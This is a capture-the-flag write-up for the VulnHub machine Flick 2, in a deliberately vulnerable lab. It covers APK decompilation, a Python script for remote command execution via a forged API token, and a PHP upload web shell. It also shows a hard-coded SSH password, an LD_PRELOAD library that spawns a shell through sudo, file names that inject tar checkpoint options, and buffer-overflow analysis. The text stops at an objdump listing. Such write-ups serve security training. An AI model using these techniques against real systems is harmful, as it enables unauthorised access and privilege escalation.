Flick 2 VulnHub Writeup

  1. Service Discovery
  2. APK Analysis
  3. com/flick/flickcheck/DoRegisterActivity.class
  4. com/flick/filecheck/CommandActivity.class
  5. Elevation
  6. The return of com/flick/filecheck/CommandActivity.class
  7. Where's Batman, robin?
  8. He's not the messiah - he's a very naughty boy!
  9. Your turn, sean
  10. Conclusion

A couple of weeks ago, a new image was added to VulnHub by @leonjza that included an Android APK as part of the challenge. As I've worked with reverse engineering Android applications before, I thought I'd give this one a shot. Game face, enabled. Enter Flick 2.

Service Discovery

Before I start messing around with the APK, I fire up nmap to take a look at what services our target is running.

nmap -T4 -A -v 10.200.0.102

Starting Nmap 6.49SVN ( https://nmap.org ) at 2015-08-31 13:08 BST
NSE: Loaded 127 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 13:08
Completed NSE at 13:08, 0.00s elapsed
Initiating NSE at 13:08
Completed NSE at 13:08, 0.00s elapsed
Initiating Ping Scan at 13:08
Scanning 10.200.0.102 [2 ports]
Completed Ping Scan at 13:08, 0.00s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 13:08
Completed Parallel DNS resolution of 1 host. at 13:08, 0.02s elapsed
Initiating Connect Scan at 13:08
Scanning 10.200.0.102 [1000 ports]
Discovered open port 443/tcp on 10.200.0.102
Completed Connect Scan at 13:08, 5.44s elapsed (1000 total ports)
Initiating Service scan at 13:08
Scanning 1 service on 10.200.0.102
Completed Service scan at 13:09, 12.04s elapsed (1 service on 1 host)
NSE: Script scanning 10.200.0.102.
Initiating NSE at 13:09
Completed NSE at 13:09, 0.57s elapsed
Initiating NSE at 13:09
Completed NSE at 13:09, 0.00s elapsed
Nmap scan report for 10.200.0.102
Host is up (0.00051s latency).
Not shown: 998 filtered ports
PORT    STATE  SERVICE  VERSION
80/tcp  closed http
443/tcp open   ssl/http nginx 1.6.3
| http-cisco-anyconnect:
|_  ERROR: Not a Cisco ASA or unsupported version
| http-methods:
|_  Supported Methods: GET HEAD
|_http-server-header: nginx/1.6.3
|_http-title: Site doesn't have a title (application/json).
| ssl-cert: Subject: commonName=flick.local/organizationName=Flick/stateOrProvinceName=North South/countryName=ZA
| Issuer: commonName=flick.local/organizationName=Flick/stateOrProvinceName=North South/countryName=ZA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2015-06-23T14:43:54
| Not valid after:  2024-09-08T14:43:54
| MD5:   bd43 6642 3779 6eb8 5edc 68d7 76d5 f219
|_SHA-1: 9938 ece9 1873 671a a415 052d 798b a69c 4704 ca50
|_ssl-date: 2015-08-31T13:08:59+00:00; +59m58s from scanner time.
| tls-nextprotoneg:
|_  http/1.1

NSE: Script Post-scanning.
Initiating NSE at 13:09
Completed NSE at 13:09, 0.00s elapsed
Initiating NSE at 13:09
Completed NSE at 13:09, 0.00s elapsed
Read data files from: /usr/local/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.82 seconds

Nothing surprising here - port 443 (HTTPS) appears to be the only port open. After visiting this in the browser, we're met with what looks like a JSON API.

If we visit a non existent 'route', we're presented with what equates to a 404. [

Nothing much else to go on here. For our notes, we take a look at the response headers using CURL.

curl --insecure -i https://10.200.0.102
HTTP/1.1 200 OK
Server: nginx/1.6.3
Content-Type: application/json
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.6.10
Cache-Control: no-cache
Date: Mon, 31 Aug 2015 13:14:23 GMT

["Server Checker"]

So, our web server is nginx (which we already knew), and this API appears to be powered by PHP.

Time to move on.

APK Analysis

In order to analyse the APK we've been provided with, I'm going to use a tool called dex2jar. This will allow us to convert an APK to a JAR file, which we can then use in another tool called jd-gui, to view the human readable source code of this application.

d2j-dex2jar.sh flick-check-dist.apk
Picked up JAVA_TOOL_OPTIONS: -javaagent:/usr/share/java/jayatanaag.jar
dex2jar flick-check-dist.apk -> ./flick-check-dist-dex2jar.jar

After opening up the JAR in jd-gui, we're presented with some lovely Java source code. After having a sniff about, we find a few classes of interest.

com/flick/flickcheck/CallApi.class
com/flick/flickcheck/CommandActivity.class
com/flick/flickcheck/DoRegisterActivity.class
com/flick/flickcheck/PubKeyManager.class
com/flick/flickcheck/ReadApiServerActivity.class
com/flick/flickcheck/RegisterActivity.class

After spending a little time going through, and figuring out what this application does, I come to the conclusion that it appears to be some sort of remote management tool, which allows users to execute commands either via SSH, or HTTPS. As we don't have SSH available to us (at the moment), I'm going to look at reverse engineering the method to execute commands via the API.

com/flick/flickcheck/DoRegisterActivity.class

This class was my starting point. It appears to be sending a POST request to the API, requesting to register a new device. Various fields are used to create a UUID (Device ID, Sim Serial Number, Android ID), which is then sent to the route '/register/new'. After this request, the server should respond with an API token, which is stored in the Shared Preferences under the key 'api_auth_token' for later.

public class DoRegisterActivity
  extends ActionBarActivity
{
  protected void onCreate(Bundle paramBundle)
  {
    super.onCreate(paramBundle);
    setContentView(2130968599);
    HttpsURLConnection.setDefaultHostnameVerifier(new HostnameVerifier()
    {
      public boolean verify(String paramAnonymousString, SSLSession paramAnonymousSSLSession)
      {
        return true;
      }
    });
    Object localObject = (TelephonyManager)getBaseContext().getSystemService("phone");
    paramBundle = "" + ((TelephonyManager)localObject).getDeviceId();
    localObject = "" + ((TelephonyManager)localObject).getSimSerialNumber();
    paramBundle = new UUID(("" + Settings.Secure.getString(getContentResolver(), "android_id")).hashCode(), paramBundle.hashCode() << 32 | ((String)localObject).hashCode()).toString();
    localObject = getSharedPreferences(getString(2131099666), 0).getString("api_server", null);
    new CallAPI(null).execute(new String[] { "https://" + (String)localObject + "/register/new", paramBundle });
  }

  public boolean onCreateOptionsMenu(Menu paramMenu)
  {
    getMenuInflater().inflate(2131558401, paramMenu);
    return true;
  }

  public boolean onOptionsItemSelected(MenuItem paramMenuItem)
  {
    if (paramMenuItem.getItemId() == 2131492942) {
      return true;
    }
    return super.onOptionsItemSelected(paramMenuItem);
  }

  private class CallAPI
    extends AsyncTask<String, String, String>
  {
    private CallAPI() {}

    protected String doInBackground(String... paramVarArgs)
    {
      Object localObject1 = paramVarArgs[0];
      paramVarArgs = paramVarArgs[1];
      String str = "";
      try
      {
        localObject1 = (HttpsURLConnection)new URL((String)localObject1).openConnection();
        Object localObject2 = new PubKeyManager();
        ((HttpsURLConnection)localObject1).setHostnameVerifier(new HostnameVerifier()
        {
          public boolean verify(String paramAnonymousString, SSLSession paramAnonymousSSLSession)
          {
            return true;
          }
        });
        SSLContext localSSLContext = SSLContext.getInstance("TLS");
        localSSLContext.init(null, new TrustManager[] { localObject2 }, null);
        ((HttpsURLConnection)localObject1).setSSLSocketFactory(localSSLContext.getSocketFactory());
        ((HttpsURLConnection)localObject1).setConnectTimeout(5000);
        ((HttpsURLConnection)localObject1).setRequestMethod("POST");
        ((HttpsURLConnection)localObject1).setRequestProperty("Content-Type", "application/json; charset=UTF-8");
        localObject2 = new JSONObject();
        ((JSONObject)localObject2).put("uuid", paramVarArgs);
        paramVarArgs = new DataOutputStream(((HttpsURLConnection)localObject1).getOutputStream());
        paramVarArgs.write(((JSONObject)localObject2).toString().getBytes());
        paramVarArgs.flush();
        paramVarArgs.close();
        localObject1 = new BufferedInputStream(((HttpsURLConnection)localObject1).getInputStream());
        localObject2 = new byte['��'];
        int i;
        for (paramVarArgs = "";; paramVarArgs = new String((byte[])localObject2, 0, i))
        {
          i = ((BufferedInputStream)localObject1).read((byte[])localObject2);
          if (i == -1) {
            break;
          }
        }
        try
        {
          localObject1 = new JSONObject(paramVarArgs);
          paramVarArgs = str;
          if (((JSONObject)localObject1).getString("registered").equals("ok")) {
            paramVarArgs = ((JSONObject)localObject1).getString("token");
          }
          return paramVarArgs;
        }
        catch (JSONException paramVarArgs)
        {
          paramVarArgs.printStackTrace();
          return "";
        }
        return "";
      }
      catch (Exception paramVarArgs)
      {
        paramVarArgs.printStackTrace();
      }
    }

    protected void onPostExecute(String paramString)
    {
      SharedPreferences.Editor localEditor = DoRegisterActivity.this.getSharedPreferences(DoRegisterActivity.this.getString(2131099666), 0).edit();
      localEditor.putString("api_auth_token", paramString);
      localEditor.commit();
      Toast.makeText(DoRegisterActivity.this, "Registered with API", 0).show();
      paramString = new Intent(DoRegisterActivity.this.getApplicationContext(), CommandActivity.class);
      DoRegisterActivity.this.startActivity(paramString);
    }
  }
}

I use a simple bit of Java to generate a UUID.

String androidId = "12345";
String simSerialNumber = "12345";
String deviceId = "12345";
String resultingUUID = new UUID(androidId.hashCode(), deviceId.hashCode() << 32 | simSerialNumber.hashCode()).toString();
System.out.println(resultingUUID);

And then use CURL to generate myself an API token.

curl --data 'uuid=00000000-02ca-0033-0000-000002ca0033' --insecure https://10.200.0.102/register/new
{"registered":"ok","message":"The requested UUID is now registered.","token":"STuVd3Ax3RzXaVqHq1hmFKFD80AidZMq"}

com/flick/filecheck/CommandActivity.class

This class appears to allow the user to execute commands either via SSH, or HTTPS. Looking at the HTTPS method, it is sending through both our UUID, and the generated API token as HTTP headers. It's also sending through the command we wish to execute in Base64 encoded format.

A few lines of Python later, and we're able to execute arbitrary commands as the 'nginx' user.

import requests, base64, sys, json, warnings

warnings.filterwarnings('ignore')

uuid = sys.argv[1]
token = sys.argv[2]

command = sys.argv[3]
target = 'https://10.200.0.102/do/cmd/%s'%base64.b64encode(command)

headers = {
        'X-UUID': uuid,
        'X-Token': token,
        'Content-Type': 'application/json; charset=UTF-8'
}

response = requests.get(target, headers=headers, verify=False)
responseDecoded = json.loads(response.text)

print responseDecoded['output']

And here's the script executing.

python flick-1.py 00000000-02ca-0033-0000-000002ca0033 STuVd3Ax3RzXaVqHq1hmFKFD80AidZMq id
uid=998(nginx) gid=997(nginx) groups=997(nginx)

Time to have a look around.

Elevation

So, straight off the bat an attempt to run the 'ls' command is denied, returning the following error message.

python flick-1.py 00000000-02ca-0033-0000-000002ca0033 STuVd3Ax3RzXaVqHq1hmFKFD80AidZMq ls
Command 'ls' contains a banned command.

Great - we're up against a blacklist. If we specify the full path however, it looks like we can run the ls command.

python flick-1.py 00000000-02ca-0033-0000-000002ca0033 STuVd3Ax3RzXaVqHq1hmFKFD80AidZMq '/bin/ls -alh'
drwxr-xr-x.  2 nginx nginx   38 Jul 23 21:27 .
drwxr-xr-x. 10 nginx nginx 4.0K Jun 22 18:25 ..
-rw-r--r--.  1 nginx nginx  356 Jun 22 10:43 .htaccess
-rw-r--r--.  1 nginx nginx  897 Jun 22 10:43 index.php

Using the same trick, we can cat the contents of index.php.

/bin/cat index.php
/*
|--------------------------------------------------------------------------
| Create The Application
|--------------------------------------------------------------------------
|
| First we need to get an application instance. This creates an instance
| of the application / container and bootstraps the application so it
| is ready to receive HTTP / Console requests from the environment.
|
*/

$app = require __DIR__.'/../bootstrap/app.php';

/*
|--------------------------------------------------------------------------
| Run The Application
|--------------------------------------------------------------------------
|
| Once we have the application, we can handle the incoming request
| through the kernel, and send the associated response back to
| the client's browser allowing them to enjoy the creative
| and wonderful application we have prepared for them.
|
*/

$app->run();

Going on this file, I believe we're going up against a Laravel installation (I only know this because I've been working with Laravel recently..lucky coincidence). Ok, after digging later on it actually turned out to be the Lumen framework, which is a micro framework BY Laravel..not a bad guess.

Before I go digging around for the version number, can we output to a file in this directory with wget, or echo?

echo "<?php phpinfo();" > test.php
ls -alh
total 16K
drwxr-xr-x.  2 nginx nginx   53 Aug 31 15:52 .
drwxr-xr-x. 10 nginx nginx 4.0K Jun 22 18:25 ..
-rw-r--r--.  1 nginx nginx  356 Jun 22 10:43 .htaccess
-rw-r--r--.  1 nginx nginx  897 Jun 22 10:43 index.php
-rw-r--r--   1 nginx nginx   17 Aug 31 15:51 test.php

Great - time to drop our trusty web shell, to assist in elevating privileges.

/bin/echo "<?php error_reporting(E_ALL); ini_set(\"display_errors\", 1); \$fp = fopen(\$_POST[\"name\"], \"wb\"); fwrite(\$fp, base64_decode(\$_POST[\"content\"])); fclose(\$fp);" > test.php

And the helper script to upload arbitrary files.

import requests,base64
target = "https://10.200.0.102/test.php"

f = open('b374k.php')
payload = {
        "name": "test2.php",
        "content": base64.b64encode("\n".join(f.readlines()))
}
requests.post(target, data=payload, verify=False)

Ok, so we've dropped b374k, and it's working. What next?

The return of com/flick/filecheck/CommandActivity.class

While looking through the CommandActivity class, we noted something else of interest. When executing a command via SSH, a hard coded Username of 'robin', and password (derived from a Base64 encoded value, which is then XORed with a static string) are used.

40373df4b7a1f413af61cf7fd06d03a565a51898

This is actually an SHA1 hash for the string 'FII'.

After using b374k to get a reverse shell, I get a real terminal using a little python snippet. Now, I'm able to attempt to login to the SSH server locally as the robin user.

python -c 'import pty; pty.spawn("/bin/sh")'
ssh -o StrictHostKeyChecking=no robin@localhost

robin@localhost's password: 40373df4b7a1f413af61cf7fd06d03a565a51898

Last failed login: Mon Aug 31 16:23:47 SAST 2015 from localhost on ssh:notty
There were 6 failed login attempts since the last successful login.
Last login: Mon Aug 17 09:38:16 2015 from localhost
 _____  _      ____   __  __  _      ____  ____
|     || |    |    | /  ]|  |/ ]    |    ||    |
|   __|| |     |  | /  / |  ' /      |  |  |  |
|  |_  | |___  |  |/  /  |    \      |  |  |  |
|   _] |     | |  /   \_ |     \     |  |  |  |
|  |   |     | |  \     ||  .  |     |  |  |  |
|__|   |_____||____\____||__|\_|    |____||____|
[robin@fII ~]$

Great, we're now logged in as the user robin. Time to do a bit more digging.

Where's Batman, robin?

After a quick search, we only find one file of interest in the home directory for robin.

find .
.
./.bash_logout
./.bash_profile
./.bashrc
./.ssh
./.ssh/known_hosts
./.ssh/authorized_keys
./debug.gpg

..debug.gpg

cat debug.gpg
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Dude,

I know you are trying to debug this stupid dice thing, so I figured the below
will be useful?

[...]
__libc_start_main(0x555555554878, 1, 0x7fffffffe508, 0x5555555548e0
getenv("LD_PRELOAD")                                                                                          = nil
rand()                                                                                                        = 1804289383
__printf_chk(1, 0x555555554978, 0x6b8b4567, 0x7ffff7dd40d4)                                                   = 22
__cxa_finalize(0x555555754e00, 0, 0, 1)                                                                       = 0x7ffff7dd6290
+++ exited (status 0) +++Dice said: 1804289383
[...]

Lemme know!

- --
Sean
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1

iQIcBAEBAgAGBQJVsSXBAAoJEF+jiAi1AwtOqd8P/3L19JE2BFA/xHvUyb/rWdIc
fKVZUCHb7oHFrwXavfagY4gm2ssLwOLNX0a1/DGqEwS8MjaQmW5s31iEulqUQjX9
+8NGJpaKOL2rp+cVD57VCsQSstkEJtlwK5WgrsInUz8FH06N0I/d3b3GqckFBzND
jpBSBib3CyL1LOoEvc0ThKMUT/AdvIwC+t4fldx8o+YOLEGoZuCzWOM6KNysmTCa
wqAsCaNMpavn+2hPy2liozZfRyBo4mmLVKY3tcnHC+ntlPaDi7ENG3Xc5RSHYyA7
BFcIPNPTZsh9QEdCF0A/s3A349SZ4rimkQkqOOeoHfrMTKPaCmX/N3jJ9q05+Ccg
56xR9WsYTgwwb6qZ3PEzFQ5pXcKwaLAmCLxFxW/X76z7rmVI0GsqnkXAd16R/VDy
nLlUIMq0HrldSZ15VVikR3CMm3SRkrx6PlzCQ2cCTtRXGfiOPqN1lDmReYjKbCYo
DkvQi0zhD7Ow6m5w8NPAUXplhDEGK2mTrL9qWvZfin5JKLW3ZWSBqPw6jVitwAJm
Ej9wlMcb32lzmzrC45tH/U+Kq/M7cTYCIU3xYcL1URAK8IWn2fMZgmmepAR+QT0S
MgAHhbJmRhzA98KxCtgR0RXrKPeIwSfxOJi7Yx16GSLKYPhCQn8YRzxpmPp0h5Yd
7Zo/oh0FA+3WWsmYfa7I
=jvfO
-----END PGP SIGNATURE-----

Looks like they were trying to debug something called 'dice'. After a quick search, we find the binary in question in '/usr/local/bin/dice'. It's owned by root, and is executable by the world. If we execute it, we get what appears to be a random number output to STDOUT. Based upon what was said in the file we found, this binary probably has some sort of flaw we could abuse, one problem though..we can't READ the file, we can only execute it.

/usr/local/bin/dice
Dice said 1804289383

Going on the hint, I notice a variable I've used before to stub out library methods for inspection, LD_PRELOAD.

After refreshing my memory (thanks to this post), I create a little shared library that overrides the rand method. After running 'dice' again however, we get an empty output. I'm guessing it must be checking for this trick, some how - shame.

After a bit more reading on how this LD_PRELOAD trick may be prevented, I stumbled upon this post, which states that the LD_PRELOAD environment variable may be checked. After stubbing the getenv method, we're now getting output from the 'dice' binary again.

Here's the source for getenv and rand stubs.

int rand(){
    return 42; //the most random number in the universe
}

char *getenv(const char *name){
    return 0;
}

And the build process / execution.

gcc -shared -fPIC unrandom.c -o unrandom.so
LD_PRELOAD=$PWD/unrandom.so /usr/local/bin/dice
42 baby!

So, we can control the value being returned from rand. It looks like that if the value equals 42, then a different string is output. I confirmed this by changing the stubbed return value of rand, and checking the output again. I'm still not entirely sure what we can do with this 'dice' binary, as it's not got the SUID bit set, and even if it did have the SUID bit set, this would negate the LD_PRELOAD trick.

Within the directory of the 'dice' binary are several other binaries owned by different people. Two of these have the SUID bit set. The one named 'backup' is owned by the user 'sean', and the group 'bryan'. This is executable by group and owner, which means if we can somehow execute it as the 'bryan' user, we'll have an EUID of 'sean'. Similarly, the 'restore' binary is owned by the user 'root', and the group 'sean'. Again, if has the SUID bit set, and is executable by the owning user and group. If we can execute this as 'sean', we'll have an EUID of 'root'. Feels like we somehow need to execute the 'dice' binary as the 'robin' user, get a shell, execute the 'backup' binary as 'bryan', get a shell, and then finally execute the 'restore' binary as 'sean', and get a shell as the 'root' user. Simple, right?

ls -alh /usr/local/bin
total 2.0M
drwxr-xr-x.  2 root root    59 Aug 17 09:32 .
drwxr-xr-x. 12 root root  4.0K Jun 22 08:49 ..
-rwsr-x---.  1 sean bryan 8.7K Jul  2 18:56 backup
-rwxr-xr-x.  1 root root  1.1M Jun 22 10:20 composer
-rwx--x--x.  1 root root  8.7K Jul  2 17:28 dice
-rwsr-x---   1 root sean  846K Aug 15 11:53 restore

This should be fun.

The most obvious way to execute a binary as another user would be to use sudo, so let's see what the 'robin' user can do.

sudo -l
[sudo] password for robin: 40373df4b7a1f413af61cf7fd06d03a565a51898

Matching Defaults entries for robin on this host:
    requiretty, !visiblepw, always_set_home, env_reset, env_keep="COLORS
    DISPLAY HOSTNAME HISTSIZE INPUTRC KDEDIR LS_COLORS", env_keep+="MAIL PS1
    PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE
    LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY
    LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL
    LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY", env_keep+=LD_PRELOAD,
    secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User robin may run the following commands on this host:
    (bryan) /usr/local/bin/dice

Great, so the environment variable LD_PRELOAD is preserved, and we can execute the 'dice' binary as the 'bryan' user.

sudo -u bryan /usr/local/bin/dice
[sudo] password for robin: 40373df4b7a1f413af61cf7fd06d03a565a51898
Dice said: 1804289383

Now, combining this with our previous work with LD_PRELOAD, let's try setting our LD_PRELOAD variable in the sudo call..SUCCESS!

Another small tweak to the .so file we're preloading, and we have a shell as the user 'bryan'.

Our updated stub source.

#include <unistd.h>

char *getenv(const char *name){
    return 0;
}

int rand(){
    char *args[2];
    args[0] = "/bin/sh";
    args[1] = NULL;
    execve(args[0], args, NULL);
    return 42; //the most random number in the universe
}

And the subsequent build and execution.

sudo -u bryan LD_PRELOAD=/usr/share/nginx/serverchecker/storage/unrandom.so /usr/local/bin/dice
[sudo] password for robin: 40373df4b7a1f413af61cf7fd06d03a565a51898

sh-4.2$ id
uid=1001(bryan) gid=1001(bryan) groups=1001(bryan)

He's not the messiah - he's a very naughty boy!

Now that we have a shell as the 'bryan' user, let's execute the 'backup' binary, and see what happens.

/usr/local/bin/backup
 * Securing environment
 * Performing database backup...
app/
app/.gitignore
database.sqlite
framework/
framework/cache/
framework/cache/.gitignore
framework/sessions/
framework/sessions/.gitignore
framework/views/
framework/views/.gitignore
functions
logs/
logs/.gitignore
logs/lumen.log

unrandom.c
unrandom.so
 * Backup done!

It looks like we're backing up various directories and files. Unfortunately, as this binary has the SUID bit set, we cannot use the LD_PRELOAD trick to stub out system calls. I use strace to figure out what it's doing, to a certain extent. After checking the output, I can see that it's executing a few commands using the 'execve' syscall. I filter by this, and notice something that may be of use - a call to 'tar', using a directory listing as input arguments. To me, this suggests a call to tar, using a wildcard as an argument. We could use this to provide our own arguments to tar, by manipulating file names in the target directory.

strace -s 999 -v -f -y /usr/local/bin/backup 2>&1 | grep execve
execve("/usr/local/bin/backup", ["/usr/local/bin/backup"], ["PWD=/home/robin", "SHLVL=1", "_=/usr/bin/strace"]) = 0
[pid  1499] execve("/bin/sh", ["sh", "-c", "PATH=/usr/local/bin:/bin:/usr/bin:/usr/local/sbin:/usr/sbin; cd /usr/share/nginx/serverchecker/storage; /bin/tar -zvcf /home/sean/backup_$(/bin/date +\"%Y%m%d\").tar.gz *;"], ["PWD=/home/robin", "SHLVL=1", "_=/usr/bin/strace"]) = 0
[pid  1501] execve("/bin/date", ["/bin/date", "+%Y%m%d"], ["OLDPWD=/home/robin", "PWD=/usr/share/nginx/serverchecker/storage", "SHLVL=2", "_=/bin/date"]) = 0
[pid  1499] getdents(3, {{d_ino=101767722, d_off=4, d_reclen=24, d_name=".", d_type=DT_UNKNOWN} {d_ino=35052000, d_off=6, d_reclen=24, d_name="..", d_type=DT_UNKNOWN} {d_ino=565003, d_off=8, d_reclen=24, d_name="app", d_type=DT_UNKNOWN} {d_ino=35052022, d_off=11, d_reclen=32, d_name="framework", d_type=DT_UNKNOWN} {d_ino=35052023, d_off=13, d_reclen=24, d_name="logs", d_type=DT_UNKNOWN} {d_ino=101767716, d_off=20, d_reclen=40, d_name="database.sqlite", d_type=DT_UNKNOWN}}, 32768) = 528
[pid  1502] execve("/bin/tar", ["/bin/tar", "-zvcf", "/home/sean/backup_20150831.tar.gz", "app", "database.sqlite", "framework", "functions", "logs"], ["OLDPWD=/home/robin", "PWD=/usr/share/nginx/serverchecker/storage", "SHLVL=2", "_=/bin/tar"]) = 0
[pid  1502] read(3, "execve(\"/usr/local/bin/backup\", [\"/usr/local/bin/backup\"], [\"PWD=/home/bryan\", \"SHLVL=1\", \"_=/usr/bin/strace\", \"OLDPWD=/home/robin\"]) = 0\nbrk(0)                                  = 0x555555756000\nmmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7ffff7ff9000\naccess(\"/etc/ld.so.preload\", R_OK)      = -1 ENOENT (No such file or directory)\nopen(\"/etc/ld.so.cache\", O_RDONLY|O_CLOEXEC) = 3\nfstat(3, {st_dev=makedev(253, 0), st_ino=34539546, st_mode=S_IFREG|0644, st_nlink=1, st_uid=0, st_gid=0, st_blksize=4096, st_blocks=48, st_size=22781, st_atime=2015/08/31-18:40:16, st_mtime=2015/07/01-17:18:04, st_ctime=2015/07/01-17:18:04}) = 0\nmmap(NULL, 22781, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7ffff7ff3000\nclose(3)                                = 0\nopen(\"/lib64/libc.so.6\", O_RDONLY|O_CLOEXEC) = 3\nread(3, \"\\177ELF\\2\\1\\1\\3\\0\\0\\0\\0\\0\\0\\0\\0\\3\\0>\\0\\1\\0\\0\\0\\0\\34\\2\\0\\0\\0\\0\\0@\\0\\0\\0\\0\\0\\0\\0p\\37 \\0\\0\\0\\0\\0\\0\\0\\0\\0@\\0008\\0\\n\\0@\\0(\\0'\\0\\6\\0\\0\\0\\5\\0\\0\\0@\\0\\0\\0\\0\\0\\0\\0@\\0\\0\\0\\0\\0\\0\\0@\\0\\"..., 8192) = 8192
[pid  1504] execve("gzip", ["gzip"], ["OLDPWD=/home/robin", "PWD=/usr/share/nginx/serverchecker/storage", "SHLVL=2", "_=/bin/tar"]) = -1 ENOENT (No such file or directory)
[pid  1504] execve("/usr/bin/gzip", ["gzip"], ["OLDPWD=/home/robin", "PWD=/usr/share/nginx/serverchecker/storage", "SHLVL=2", "_=/bin/tar"]) = 0

Using the 'checkpoint' option in tar (as described in this blog post), we could execute a bash script (or executable) as the EUID - which in this case would be 'sean'. In order to do this, we'll need to create a couple of files in the 'storage' directory, named as these options.

cd /usr/share/nginx/serverchecker/storage
echo > --checkpoint=1;
echo > --checkpoint-action=exec=sh\ shell.sh;
echo '/bin/sh' > shell.sh
chmod +x shell.sh
/usr/local/bin/backup
sh-4.2$ id
uid=1002(sean) gid=1001(bryan) groups=1002(sean),1001(bryan)

We've now got a shell as 'sean', time to check out the very last binary called 'restore'.

Your turn, sean

Before we can execute the 'restore' binary, we need to change our current group to 'sean'.

newgrp sean

It looks like the 'restore' binary takes in the path to a file named 'backup.tar.gz', or a directory containing the archive. Equally, it takes in a path to where the archive should be extracted. Funnily enough, it does not execute anything this time, but spits out a command for us to run - which isn't much use to us.

[sean@fII storage]$ /usr/local/bin/restore
/usr/local/bin/restore
Restore tool v0.1
Enter the path to the backup.tar.gz: /home/sean/
Path is: /home/sean/
Enter the output directory: /home/sean
Output directory is: /home/sean
This is a beta, run the following command for now:
/bin/sh -c "/usr/bin/tar xf /tmp/backup.tar.gz -C /tmp/ database.sqlite"
You are currently running this tool as:
uid=1002(sean) gid=1002(sean) groups=1002(sean),1001(bryan)

After putting this binary into gdb, I step through the various methods and find a call to the vulnerable method 'gets' within a method called 'get_out_path'.

B+>│0x400fe1 <get_out_path>     push   %rbp
0x400fe2 <get_out_path+1>       mov    %rsp,%rbp
0x400fe5 <get_out_path+4>       sub    $0x40,%rsp
0x400fe9 <get_out_path+8>       mov    $0x492b77,%edi
0x400fee <get_out_path+13>      mov    $0x0,%eax
0x400ff3 <get_out_path+18>      callq  0x402130 <printf>
0x400ff8 <get_out_path+23>      lea    -0x40(%rbp),%rax
0x400ffc <get_out_path+27>      mov    %rax,%rdi
0x400fff <get_out_path+30>      callq  0x402530 <gets>
0x401004 <get_out_path+35>      lea    -0x40(%rbp),%rax
0x401008 <get_out_path+39>      mov    %rax,%rsi
0x40100b <get_out_path+42>      mov    $0x492b94,%edi
0x401010 <get_out_path+47>      mov    $0x0,%eax

We can confirm this by providing a string that is 64 (0x40) bytes long - overwriting the null terminating byte. This causes a buffer overflow, and results in a segfault.

touch /home/sean/backup.tar.gz
./restore
Restore tool v0.1
Enter the path to the backup.tar.gz: /home/sean/
Path is: /home/sean/
Enter the output directory: 1234567890123456789012345678901234567890123456789012345678901234
Output directory is: 1234567890123456789012345678901234567890123456789012345678901234
Segmentation fault (core dumped)

After looking over the code for the 'get_out_path' method, we can deduces that the RIP register (the register that contains the address of the next instruction) should be at position 72, so if we write 72 characters, followed by four bytes pointing to an address of our choosing we should be able to execute arbitrary code either in this binary, or in one of the libraries it makes use of.

After doing an objdump, I find a couple of references to the 'execv' syscall. One of these is in a method named 'do_system' from libc.

  401f15:       eb 93                   jmp    401eaa <do_system+0x29a>
  401f17:       31 d2                   xor    %edx,%edx
  401f19:       be 00 f5 6b 00          mov    $0x6bf500,%esi
  401f1e:       bf 02 00 00 00          mov    $0x2,%edi
  401f23:       48 c7 44 24 30 25 2d    movq   $0x492d25,0x30(%rsp)
  401f2a:       49 00
  401f2c:       48 c7 44 24 38 1d 2d    movq   $0x492d1d,0x38(%rsp)
  401f33:       49 00
  401f35:       48 89 6c 24 40          mov    %rbp,0x40(%rsp)
  401f3a:       48 c7 44 24 48 00 00    movq   $0x0,0x48(%rsp)
  401f41:       00 00
  401f43:       e8 b8 e2 01 00          callq  420200 <__sigaction>
  401f48:       31 d2                   xor    %edx,%edx
  401f4a:       be 60 f4 6b 00          mov    $0x6bf460,%esi
  401f4f:       bf 03 00 00 00          mov    $0x3,%edi
  401f54:       e8 a7 e2 01 00          callq  420200 <__sigaction>
  401f59:       48 8d 74 24 50          lea    0x50(%rsp),%rsi
  401f5e:       31 d2                   xor    %edx,%edx
  401f60:       bf 02 00 00 00          mov    $0x2,%edi
  401f65:       e8 b6 e2 01 00          callq  420220 <__sigprocmask>
  401f6a:       48 8b 15 ff d7 2b 00    mov    0x2bd7ff(%rip),%rdx        # 6bf770 <__environ>
  401f71:       48 8d 74 24 30          lea    0x30(%rsp),%rsi
  401f76:       bf 20 2d 49 00          mov    $0x492d20,%edi
  401f7b:       c7 05 bb d4 2b 00 00    movl   $0x0,0x2bd4bb(%rip)        # 6bf440 <lock>
  401f82:       00 00 00
  401f85:       c7 05 c1 d4 2b 00 00    movl   $0x0,0x2bd4c1(%rip)        # 6bf450 <sa_refcntr>
  401f8c:       00 00 00
  401f8f:       e8 9c aa 01 00          callq  41ca30 <__execve>
  401f94:       bf 7f 00 00 00          mov    $0x7f,%edi
  401f99:       e8 32 aa 01 00          callq  41c9d0 <_exit>
  401f9e:       48 c7 c2 c0 ff ff ff    mov    $0xffffffffffffffc0,%rdx
  401fa5:       f7 d8                   neg    %eax
  401fa7:       c7 04 24 ff ff ff ff    movl   $0xffffffff,(%rsp)
  401fae:       64 89 02                mov    %eax,%fs:(%rdx)
  401fb1:       e9 df fd ff ff          jmpq   401d95 <do_system+0x185>
  401fb6:       48 c7 44 24 10 50 1b    movq   $0x401b50,0x10(%rsp)
  401fbd:       40 00
  401fbf:       48 89 64 24 18          mov    %rsp,0x18(%rsp)
  401fc4:       e9 6c fd ff ff          jmpq   401d35 <do_system+0x125>
  401fc9:       0f 1f 80 00 00 00 00    nopl   0x0(%rax)

